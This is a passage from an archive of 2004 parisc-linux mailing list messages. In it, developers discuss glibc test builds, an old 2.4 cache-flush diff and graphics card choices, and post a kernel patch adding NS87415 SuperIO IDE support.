	<20040309053615.GA11669@colo.lackof.org>
	<20040309210400.GM2148@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623255 6440 80.91.229.3 (22 Nov 2014 02:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Tue Mar  9 21:59:25 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 420DF488D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Mar 2004 21:59:25 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id BC0942980A3; Tue,  9 Mar 2004 21:59:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 27825-05; Tue, 9 Mar 2004 21:59:18 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EC28029809A; Tue,  9 Mar 2004 21:59:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040309210400.GM2148@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Mar 2004 04:59:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21037

On Tue, Mar 09, 2004 at 09:04:00PM +0000, Matthew Wilcox wrote:
> > (I confess: I'm being very lazy tonight and don't want to figure
> > what needs to go into the hardware.c array)
> 
> *grumble*.  I changed the output format so you could simply copy and paste
> it into hardware.c!  That's exceptionally lazy of you :-P

/me points at garfield

Isn't nice to know there's always someone better at something
than one's self? :^P

> (you can tell boot logs that predate this change because they don't use 
> { } around the numbers).

Yup - I remember you making the change and knew it should be fairly easy...
thus I was confident someone else could do it.
(was that a good excuse or what? Just made that one up :^)

thanks,
grant


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Wed, 10 Mar 2004 15:47:09 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <404EC1C600000B2D@ocpmta1.freegates.net>
References: <20040309150318.GD22721@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623255 6441 80.91.229.3 (22 Nov 2014 02:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Mar 10 07:47:14 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ABF24854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Mar 2004 07:47:14 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B14zH-0001bQ-00; Wed, 10 Mar 2004 15:47:11 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 10 Mar 2004 15:47:09 +0100
In-Reply-To: <20040309150318.GD22721@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Mar 2004 14:47:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21038

Hi Carlos,

Here are the news:

(first of all sorry for delay but I have temporarely have to exchange my
N4k for a b180 so it take a bit more time)

The glibc cvs 2.3.3 cvs dated 20040308 + your patch compiles well (just this
time I enable profiling) :).

I also install it on /mnt/chroot (according James method, just to test).

As I foreseen to use this disk to other test on the N4k, I grab the list
of packages installed (dpkg --get-selection > /mnt/chroot/var/tmp/Selection.doc)
and chroot to /mnt/chroot to install previously mentioned pkg list. All works
fine (just 3 pkg failled to install because no /proc available in chroot).

In the same time I drive a make -k check and just get additional Errors:
[...]
make[2]: *** [/Develop/parisc-linux/build/glibc/libio/tst-mmap-eofsync.out]
Error 1
make[2]: *** [/Develop/parisc-linux/build/glibc/libio/tst-mmap-fflushsync.out]
Error 1
make[1]: *** [libio/tests] Error 2
make[2]: [/Develop/parisc-linux/build/glibc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/multiload.o] Error 1
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/origtest.o] Error 1
[...]

I have two hypothesis:
a. it is the first time I added enable-profile;
b. I forget to build first gcc(3.3) tool with your gcc patch (gcc/config/pa/fptr.c)

Now, 2.6.4-rc3-pa0 is just available, I will so try first to build it in
the chroot disk...

hth,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone still caring about 2.4?
Date: Wed, 10 Mar 2004 15:29:04 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20040310152904.GV2148@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623255 6446 80.91.229.3 (22 Nov 2014 02:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: willy@www.linux.org.uk  Wed Mar 10 08:29:05 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1BDA4854
	for <parisc-linux@parisc-linux.org>;
	Wed, 10 Mar 2004 08:29:05 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B15do-0001MH-RE
	for parisc-linux@parisc-linux.org; Wed, 10 Mar 2004 15:29:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Mar 2004 15:29:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21039


I was just looking at a 2.4 problem for lamont so I went back to a 2.4
tree I had lying around.  I found this diff:

Index: mm/memory.c
===================================================================
RCS file: /var/cvs/linux-2.4/mm/memory.c,v
retrieving revision 1.25
diff -u -p -r1.25 memory.c
--- a/mm/memory.c       1 Dec 2003 22:52:15 -0000       1.25
+++ b/mm/memory.c       1 Dec 2003 23:08:32 -0000
@@ -569,12 +569,7 @@ int map_user_kiobuf(int rw, struct kiobu
                return err;
        }
        iobuf->nr_pages = err;
-       while (pgcount--) {
-               /* FIXME: flush superflous for rw==READ,
-                * probably wrong function for rw==WRITE
-                */
-               flush_dcache_page(iobuf->maplist[pgcount]);
-       }
+       flush_cache_range(mm, va, va + len);
        dprintk ("map_user_kiobuf: end OK\n");
        return 0;
 }

Don't remember why I made it or whether it's right.  Thought I'd throw
it out to the mailing list rather than just delete it.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Wed, 10 Mar 2004 19:21:24 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <404EC46E000009D0@ocpmta3.freegates.net>
References: <404EC1C600000B2D@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623256 6448 80.91.229.3 (22 Nov 2014 02:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Mar 10 11:21:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 297E54854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Mar 2004 11:21:31 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B18Kb-0006qX-00; Wed, 10 Mar 2004 19:21:25 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 10 Mar 2004 19:21:24 +0100
In-Reply-To: <404EC1C600000B2D@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Mar 2004 18:21:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21040

Hi Carlos,


>Now, 2.6.4-rc3-pa0 is just available, I will so try first to build it in
>the chroot disk...

And finaly, it compiles well and even boot well with the original config.

(I just try to boot with chroot disk but it seems that I still forget some
config as nic and getty on ttyS0 :( ; so I will continu tomorrow and try
to restart X on this b180 (I don't yet look for a quick and dirty howto use
Xnest) ).

hth,
    Joel




----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SilverHampster@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Graphics card what one?
Date: Wed, 10 Mar 2004 16:05:29 EST
Lines: 46
Approved: news@gmane.org
Message-ID: <1e0.1b019862.2d80dd19@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="-----------------------------1078952729"
X-Trace: ger.gmane.org 1416623256 6450 80.91.229.3 (22 Nov 2014 02:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: SilverHampster@aol.com  Wed Mar 10 14:05:37 2004
Return-Path: <SilverHampster@aol.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-m15.mx.aol.com (imo-m15.mx.aol.com [64.12.138.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B3304854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Mar 2004 14:05:37 -0700 (MST)
Original-Received: from SilverHampster@aol.com
	by imo-m15.mx.aol.com (mail_out_v37.4.) id n.1e0.1b019862 (4012)
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Mar 2004 16:05:30 -0500 (EST)
X-Mailer: 9.0 for Windows sub 4005
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Mar 2004 21:05:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21041


-------------------------------1078952729
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hello
I have a c360 computer and am interested in getting linux to work on it. I  
currently have an fx2 graphics card in it and that does not give me X support. 
I  was wondering what graphics card I should get that will give me X support 
but  also 32-bit colour or 24-bit colour and a resaltution of 1280x1024 I think 
that  is the right numbers it is round about there anyway. I just need 2d 
support I am  not doing any 3d. Could you give me any advice. I know the 
visualize eg  does work and is that a good card to get.
Daniel

-------------------------------1078952729
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3DUS-ASCII">
<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY id=3Drole_body style=3D"FONT-SIZE: 10pt; COLOR: #000000; FONT-FAMILY:=20=
Arial"=20
bottomMargin=3D7 leftMargin=3D7 topMargin=3D7 rightMargin=3D7><FONT id=3Drol=
e_document=20
face=3DArial color=3D#000000 size=3D2>
<DIV>Hello</DIV>
<DIV>I have a c360 computer and am interested in getting linux to work on it=
. I=20
currently have an fx2 graphics card in it and that does not give me X suppor=
t. I=20
was wondering what graphics card I should get that will give me X support bu=
t=20
also 32-bit colour or 24-bit colour and a resaltution of 1280x1024 I think t=
hat=20
is the right numbers it is round about there anyway. I just need 2d support=20=
I am=20
not doing any 3d. Could you give me any advice.&nbsp;I know the visualize eg=
=20
does work and is that a good card to get.</DIV>
<DIV>Daniel</DIV></FONT></BODY></HTML>

-------------------------------1078952729--


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ns87415 (superio) support for 2.6.x
Date: Wed, 10 Mar 2004 14:48:16 -0800
Lines: 237
Approved: news@gmane.org
Message-ID: <20040310224816.GA23292@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623256 6453 80.91.229.3 (22 Nov 2014 02:27:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Wed Mar 10 15:48:33 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (unknown [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AB8248B5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 Mar 2004 15:48:33 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C6C39CD299; Wed, 10 Mar 2004 14:48:16 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 10 Mar 2004 22:48:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21042

This patch fixes ns87415 to work on suckyio-based boxes. the devic
e reports that dma is enabled, but from the performance we get it 
looks like something is still not quite right (we only see ~3MB/s)

Patch is against 2.6.4-rc3-pa5....  tested on c3000 and c3750. 
(Thanks Max.)

Any comments on the hooks that are needed in the generic ns87415 
driver to make this work?

Also, should we enable native mode for all ide devices discovered 
and not just ns87415?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

Index: arch/parisc/kernel/pci.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pci.c,v
retrieving revision 1.13
diff -u -p -r1.13 pci.c
--- a/arch/parisc/kernel/pci.c	4 Feb 2004 16:31:15 -0000	1.13
+++ b/arch/parisc/kernel/pci.c	10 Mar 2004 22:42:05 -0000
@@ -21,6 +21,7 @@
 #include <asm/io.h>
 #include <asm/system.h>
 #include <asm/cache.h>		/* for L1_CACHE_BYTES */
+#include <asm/superio.h>
 
 #define DEBUG_RESOURCES 0
 #define DEBUG_CONFIG 0
@@ -145,9 +146,13 @@ char *pcibios_setup(char *str)
 	return str;
 }
 
-
 /* Used in drivers/pci/quirks.c */
-struct pci_fixup pcibios_fixups[] = { {0} };
+struct pci_fixup pcibios_fixups[] = { 
+#ifdef CONFIG_SUPERIO
+	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_NS,	PCI_DEVICE_ID_NS_87415,	superio_fixup_pci },
+#endif
+	{ 0 }
+};
 
 
 /*
Index: drivers/ide/pci/ns87415.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/ide/pci/ns87415.c,v
retrieving revision 1.13
diff -u -p -r1.13 ns87415.c
--- a/drivers/ide/pci/ns87415.c	28 Feb 2004 01:50:36 -0000	1.13
+++ b/drivers/ide/pci/ns87415.c	10 Mar 2004 22:42:07 -0000
@@ -24,6 +24,9 @@
 #include <linux/init.h>
 
 #include <asm/io.h>
+#ifdef CONFIG_SUPERIO
+#include <asm/superio.h>
+#endif
 
 #include "ns87415.h"
 
@@ -130,6 +133,13 @@ static int ns87415_ide_dma_check (ide_dr
 	if (drive->media != ide_disk)
 		return HWIF(drive)->ide_dma_off_quietly(drive);
 	return __ide_dma_check(drive);
+}
+
+static void __init init_iops_ns87415(ide_hwif_t *hwif)
+{
+#ifdef CONFIG_SUPERIO
+	superio_ide_init_iops(hwif);
+#endif
 }
 
 static void __init init_hwif_ns87415 (ide_hwif_t *hwif)
Index: drivers/ide/pci/ns87415.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/ide/pci/ns87415.h,v
retrieving revision 1.2
diff -u -p -r1.2 ns87415.h
--- a/drivers/ide/pci/ns87415.h	8 Oct 2003 20:52:23 -0000	1.2
+++ b/drivers/ide/pci/ns87415.h	10 Mar 2004 22:42:07 -0000
@@ -5,6 +5,7 @@
 #include <linux/pci.h>
 #include <linux/ide.h>
 
+static void init_iops_ns87415(ide_hwif_t *);
 static void init_hwif_ns87415(ide_hwif_t *);
 
 static ide_pci_device_t ns87415_chipsets[] __devinitdata = {
@@ -13,7 +14,7 @@ static ide_pci_device_t ns87415_chipsets
 		.device		= PCI_DEVICE_ID_NS_87415,
 		.name		= "NS87415",
 		.init_chipset	= NULL,
-		.init_iops	= NULL,
+		.init_iops	= init_iops_ns87415,
 		.init_hwif	= init_hwif_ns87415,
 		.channels	= 2,
 		.autodma	= AUTODMA,
Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.5
diff -u -p -r1.5 superio.c
--- a/drivers/parisc/superio.c	21 Dec 2003 13:13:11 -0000	1.5
+++ b/drivers/parisc/superio.c	10 Mar 2004 22:42:07 -0000
@@ -69,11 +69,15 @@
 #include <linux/termios.h>
 #include <linux/tty.h>
 #include <linux/serial_core.h>
+#include <linux/delay.h>
+#include <linux/ide.h>
 #include <asm/io.h>
 #include <asm/hardware.h>
 #include <asm/irq.h>
 #include <asm/superio.h>
 
+#define SUPERIO_IDE_MAX_RETRIES 25
+
 static struct superio_device sio_dev;
 
 
@@ -161,7 +165,6 @@ superio_init(struct superio_device *sio)
 	printk (KERN_INFO "SuperIO: Found NS87560 Legacy I/O device at %s (IRQ %i) \n",
 		pci_name(pdev),pdev->irq);
 
-	/* Find our I/O devices */
 	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
 	sio->sp1_base &= ~1;
 	printk (KERN_INFO "SuperIO: Serial port 1 at 0x%x\n", sio->sp1_base);
@@ -472,6 +475,78 @@ superio_get_ide_irq(void)
 }
 
 EXPORT_SYMBOL(superio_get_ide_irq);
+
+static u8 superio_ide_inb (unsigned long port);
+static unsigned long superio_ide_status[2];
+static unsigned long superio_ide_select[2];
+static unsigned long superio_ide_dma_status[2];
+
+void superio_fixup_pci(struct pci_dev *pdev)
+{
+	u8 prog;
+	u16 cmd;
+
+	pci_read_config_word(pdev, PCI_COMMAND, &cmd);
+	cmd |= (PCI_COMMAND_IO | PCI_COMMAND_MASTER);
+	pci_write_config_word(pdev, PCI_COMMAND, cmd);
+
+	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
+	pci_write_config_byte(pdev, PCI_CLASS_PROG, prog | 0x5);
+	pdev->class |= 0x5;
+
+	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
+
+	printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog);
+}
+
+/* Because of a defect in Super I/O, all reads of the PCI DMA status 
+ * registers, IDE status register and the IDE select register need to be 
+ * retried
+ */
+static u8 superio_ide_inb (unsigned long port)
+{
+	if (port == superio_ide_status[0] ||
+	    port == superio_ide_status[1] ||
+	    port == superio_ide_select[0] ||
+	    port == superio_ide_select[1] ||
+	    port == superio_ide_dma_status[0] ||
+	    port == superio_ide_dma_status[1]) {
+		u8 tmp;
+		int retries = SUPERIO_IDE_MAX_RETRIES;
+
+		/* printk(" [ reading port 0x%x with retry ] ", port); */
+
+		do {
+			tmp = inb(port);
+		} while (tmp == 0 && retries-- > 0);
+
+		return tmp;
+	}
+
+	return inb(port);
+}
+
+void __init superio_ide_init_iops (struct hwif_s *hwif)
+{
+	u32 base, dmabase;
+	u8 tmp;
+	struct pci_dev *pdev = hwif->pci_dev;
+	u8 port = hwif->channel;
+
+	base = pci_resource_start(pdev, port * 2) & ~3;
+	dmabase = pci_resource_start(pdev, 4) & ~3;
+
+	superio_ide_status[port] = base + IDE_STATUS_OFFSET;
+	superio_ide_select[port] = base + IDE_SELECT_OFFSET;
+	superio_ide_dma_status[port] = dmabase + (!port ? 2 : 0xa);
+	
+	/* Clear error/interrupt, enable dma */
+	tmp = superio_ide_inb(superio_ide_dma_status[port]);
+	outb(tmp | 0x66, superio_ide_dma_status[port]);
+
+	/* We need to override inb to workaround a SuperIO errata */
+	hwif->INB = superio_ide_inb;
+}
 
 static int __devinit superio_probe(struct pci_dev *dev, const struct pci_device_id *id)
 {
Index: include/asm-parisc/superio.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/superio.h,v
retrieving revision 1.2
diff -u -p -r1.2 superio.h
--- a/include/asm-parisc/superio.h	21 Dec 2003 13:13:10 -0000	1.2
+++ b/include/asm-parisc/superio.h	10 Mar 2004 22:42:11 -0000
@@ -81,9 +81,13 @@ struct superio_device {
 	|| ((x)->device == PCI_DEVICE_ID_NS_87560_LIO) \
 	|| ((x)->device == PCI_DEVICE_ID_NS_87560_USB) ) )
 
+struct hwif_s;
+
 extern void superio_inform_irq(int irq);
 extern void superio_serial_init(void);		/* called by rs_init() */
 extern int superio_fixup_irq(struct pci_dev *pcidev); /* called by iosapic */
 extern int superio_get_ide_irq(void);
+extern void superio_fixup_pci(struct pci_dev *pdev);
+extern void superio_ide_init_iops (struct hwif_s *hwif);
 
 #endif /* _PARISC_SUPERIO_H */


From - Thu Nov 08 21:31:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] tty[2..6]: respawning too
	fast with 2.6
Date: Thu, 11 Mar 2004 09:21:14 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <404EC1C600001375@ocpmta1.freegates.net>
References: <404EC1C6000012B4@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623257 6458 80.91.229.3 (22 Nov 2014 02:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Thu Mar 11 01:21:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77E624854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 01:21:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
